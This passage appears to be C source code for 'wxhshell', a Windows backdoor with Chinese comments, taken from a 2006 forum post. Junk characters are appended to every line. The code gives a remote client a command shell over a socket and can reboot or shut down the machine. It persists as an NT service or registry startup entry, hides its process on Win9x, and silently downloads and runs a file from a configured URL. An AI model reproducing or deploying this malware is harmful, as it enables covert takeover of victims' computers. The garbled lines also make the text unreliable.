  } 1#3 Qa{i  
  // 安装 CxOBH89(  
  case 'i': { uF=xo`=|  
    if(Install()) }@V ,v[&e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %aszZP  
    else Hf'yRKACj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zjrr*iw  
    break; 7o4 vf~  
    } 3[jk}2R';p  
  // 卸载 Q b|.;_  
  case 'r': { z4nVsgQ$  
    if(Uninstall()) d">Ya !W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A<&:-Zz  
    else [[[QBplJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U&|$B|[  
    break; CKTD27})  
    } ^gdg0y!5~  
  // 显示 wxhshell 所在路径 n>dM OQb  
  case 'p': { L^`oJ9k!  
    char svExeFile[MAX_PATH]; }fo?K|Xx  
    strcpy(svExeFile,"\n\r"); %-4e8d74/  
      strcat(svExeFile,ExeFile); 6L6Lk  
        send(wsh,svExeFile,strlen(svExeFile),0); 8elT/Wl  
    break; KcB  ?[  
    } Ccocv>=Q&J  
  // 重启 YSuw V)Y  
  case 'b': { L?^C\g6u]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f-\l<o(  
    if(Boot(REBOOT)) "*@iXJxv5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oed&B  
    else { pg~`NN  
    closesocket(wsh); *TuoC5  
    ExitThread(0); _W: S>ij(  
    } |jV4]7Luq  
    break; fxLhVJ"b  
    } ^3`98y.Q  
  // 关机 w9}I*Nra  
  case 'd': { &%Hj.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )_EobE\  
    if(Boot(SHUTDOWN)) 0zpP$q$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 33\b@F7b  
    else { nm'm*sU\  
    closesocket(wsh); tazBZ'\c  
    ExitThread(0); |y%pP/;&!  
    } E"Xi  
    break; LM _4.J  
    } aG |)k,  
  // 获取shell iA ZtV'VQ)  
  case 's': { [uRsB5  
    CmdShell(wsh); /KKX;L[D(  
    closesocket(wsh); 2 ;B[n;Q{  
    ExitThread(0); 3iWLo Qm  
    break; 73xI8  
  } ]Wa,a T'  
  // 退出 ,75,~  
  case 'x': { <R{\pz2w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `hlyN]L  
    CloseIt(wsh); C-6+ZIk4  
    break; ~[9 ]M)=O0  
    } F"23>3  
  // 离开 f\(Kou$  
  case 'q': { <E\BKC%M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `Ze fSmb  
    closesocket(wsh); nMc-kyl{  
    WSACleanup(); 0\Oeo8<7)~  
    exit(1); OC\C^Yh*U  
    break; {{DW P-v4  
        } hcaH   
  } 9)YG)A~<  
  } Bv=Z*"Fv  
2=3iA09px  
  // 提示信息 Yp ? 2<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d#z67Nl6  
} w|5}V6WD  
  } uPp(l4(+  
krl yEAK=  
  return; |]]fcJOBP  
} X>wQYIi  
a,tP.Xsl  
// shell模块句柄 L]tyL)  
int CmdShell(SOCKET sock) o4Ba l^=[  
{ n+i}>3'A  
STARTUPINFO si; 54)}^ftY^  
ZeroMemory(&si,sizeof(si)); !9N%=6\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QTyl=z7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z2@&4_P  
PROCESS_INFORMATION ProcessInfo; )i>KYg w  
char cmdline[]="cmd"; O0I/^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DuFlN1Z  
  return 0; ><DE1tG  
} (C:rH  
qj/P4*6E  
// 自身启动模式 bIhL!Ty T.  
int StartFromService(void) [gE2lfaEy  
{ }Ag2c; aaq  
typedef struct I'j? T.  
{ F`N*{at  
  DWORD ExitStatus; oc?VAF  
  DWORD PebBaseAddress; bC{~/ JP  
  DWORD AffinityMask; 3A9|{Vaz+6  
  DWORD BasePriority; j?,$*Fi  
  ULONG UniqueProcessId; ["7}u^z@<+  
  ULONG InheritedFromUniqueProcessId; 0'<S7?~|  
}   PROCESS_BASIC_INFORMATION; Ylf4q/-  
.6hH}BM  
PROCNTQSIP NtQueryInformationProcess; +(<f(]bG  
~E\CAZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <eI;Jph5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c2U>89LlZ  
@PI\.y_w  
  HANDLE             hProcess; D'&L wU,o  
  PROCESS_BASIC_INFORMATION pbi; Em 7q@  
'ZDclz9}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pqe tYu  
  if(NULL == hInst ) return 0; l1??b  
o?3R HP47  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q}!4b'z^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o6r4tpiR5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PX'LN  
JjmL6(*ui  
  if (!NtQueryInformationProcess) return 0; xI@~Ig  
u%pief  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cm]]9z_<  
  if(!hProcess) return 0; V#~. Jg7  
6~}H3rvO}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 W0;YcT]  
,uv$oP-  
  CloseHandle(hProcess); J-}NFWR;t  
=%3nKSg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VPHCPGrk  
if(hProcess==NULL) return 0; ]VvJ1Xn0  
gY9"!IVe+  
HMODULE hMod; +@Y[i."^J  
char procName[255]; cabN<a l  
unsigned long cbNeeded; (yP55PC O$  
~K9U0ypH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %gaKnT(|r  
:3B\,inJ  
  CloseHandle(hProcess); qo@dFKy  
x}{VHp`|ld  
if(strstr(procName,"services")) return 1; // 以服务启动 Xo`1#6xsE  
#*!$!c{  
  return 0; // 注册表启动 |=LkV"_v  
} %\l,X{X  
K +~v<F  
// 主模块 ~S3eatM$9  
int StartWxhshell(LPSTR lpCmdLine)  sD8S2  
{ L|X5Ru  
  SOCKET wsl; RY{tX`  
BOOL val=TRUE; aJ8pJ{,P  
  int port=0; PlZ iTP  
  struct sockaddr_in door; 9HX+sB M  
Y9;Mey*oW  
  if(wscfg.ws_autoins) Install(); C~qhwwh  
5F"?]'*/  
port=atoi(lpCmdLine); D.(G9H  
yUO|3ONT  
if(port<=0) port=wscfg.ws_port; "NU".q  
u7?juI#Cl  
  WSADATA data; k`TJ<Dv;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0>iFXw:fn  
$)Yog]}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }&DB5M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zjg\jo  
  door.sin_family = AF_INET; Nz*sD^SJa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); au|^V^m  
  door.sin_port = htons(port); A+I&.\QAR  
<im<(=m9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <(4#4=ivP  
closesocket(wsl); hX m} d\  
return 1; .KucjRI  
} SFk#bh  
,g_onfY  
  if(listen(wsl,2) == INVALID_SOCKET) { U@MP&sdL  
closesocket(wsl); m > (h_j  
return 1; xGfD z*t  
} zpqGh  
  Wxhshell(wsl); Cc)P5\j h  
  WSACleanup(); @b\ S.  
~AanU1U<  
return 0; T:dm0iau  
ttaQlEa=Z  
} i1I>RK  
2BDan^:-Av  
// 以NT服务方式启动 F,M"/hnPT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <m,yFk  
{ ceZ8} Sh  
DWORD   status = 0; _]xt65TL  
  DWORD   specificError = 0xfffffff; &3Z. #*  
~59`S#ax/l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?[VpN2*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `%M-7n9Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qmA2bw]  
  serviceStatus.dwWin32ExitCode     = 0; !UoU#YU  
  serviceStatus.dwServiceSpecificExitCode = 0; Z.':&7Y  
  serviceStatus.dwCheckPoint       = 0; {M r~%y4  
  serviceStatus.dwWaitHint       = 0; knOn UU  
C`n9/[,#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s!ZW'`4!z  
  if (hServiceStatusHandle==0) return; q^1aPz  
y[p$/$bgC5  
status = GetLastError(); 7grt4k  
  if (status!=NO_ERROR) -, Q$  
{ g&+Y{*Gp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vp $wHB&  
    serviceStatus.dwCheckPoint       = 0; a3UPbl3^  
    serviceStatus.dwWaitHint       = 0; >u5g?yzw  
    serviceStatus.dwWin32ExitCode     = status; *SkiFEoD  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?#m<\]S<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^'&iYV  
    return; 8 b  8\  
  } T+WZE  
+z|UpI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e" Eqi-  
  serviceStatus.dwCheckPoint       = 0; V+O0k: o  
  serviceStatus.dwWaitHint       = 0; OyJsz]b} M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5'X74`  
} 6KEykw j  
C[xJU6z  
// 处理NT服务事件,比如:启动、停止 W""*hJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9$o<  
{ A{z>D`d  
switch(fdwControl) CYtjY~  
{ )C>}"#J>  
case SERVICE_CONTROL_STOP: /WgPXEB  
  serviceStatus.dwWin32ExitCode = 0; "mPSA Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N^ h |h  
  serviceStatus.dwCheckPoint   = 0; SqXy;S@  
  serviceStatus.dwWaitHint     = 0; Ak5[PBbW  
  { "H>r-cyh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X-kXg)!Bg  
  } -(\1r2 Y  
  return; 'y4zBLY  
case SERVICE_CONTROL_PAUSE: .4Qb5I2#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M*5,O   
  break; ?}'N_n ys  
case SERVICE_CONTROL_CONTINUE: | }K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Jxq 3D)v  
  break; t_dcV%=  
case SERVICE_CONTROL_INTERROGATE: qDnCn H  
  break; + a-wv  
}; _urG_~q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #V.ZdLo(  
} ud0QZ X  
dqqnCXYuW  
// 标准应用程序主函数 WD15pq l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f).*NX  
{ $!!R:Wn/R  
w&p~0cA~  
// 获取操作系统版本 [34zh="o  
OsIsNt=GetOsVer(); 7\IL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UTZ776`S&X  
!|:RcH[  
  // 从命令行安装 8y$5oD6g9  
  if(strpbrk(lpCmdLine,"iI")) Install(); vqq6B/r@Fu  
,-@xq.D  
  // 下载执行文件 di7A/ B  
if(wscfg.ws_downexe) { -i#J[>=w{C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?4^} ;wDb2  
  WinExec(wscfg.ws_filenam,SW_HIDE); L e*`r2  
} xEjx]w/&  
~gP7s_ qr{  
if(!OsIsNt) { :^ n*V6.4  
// 如果时win9x,隐藏进程并且设置为注册表启动 R.K?  
HideProc(); %/51o6a  
StartWxhshell(lpCmdLine); H4t)+(:D'  
} (~h7rAEc  
else zm> >} 5R  
  if(StartFromService()) vX ?aB!nkw  
  // 以服务方式启动 w4UD/zO  
  StartServiceCtrlDispatcher(DispatchTable); 0; 7#ji  
else W!t{rI72  
  // 普通方式启动 Uo~T'mA"  
  StartWxhshell(lpCmdLine); 4sTMgBzw  
lr,q{;  
return 0; PSPTL3_~  
}
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只看该作者 1 发表于: 2006-10-10
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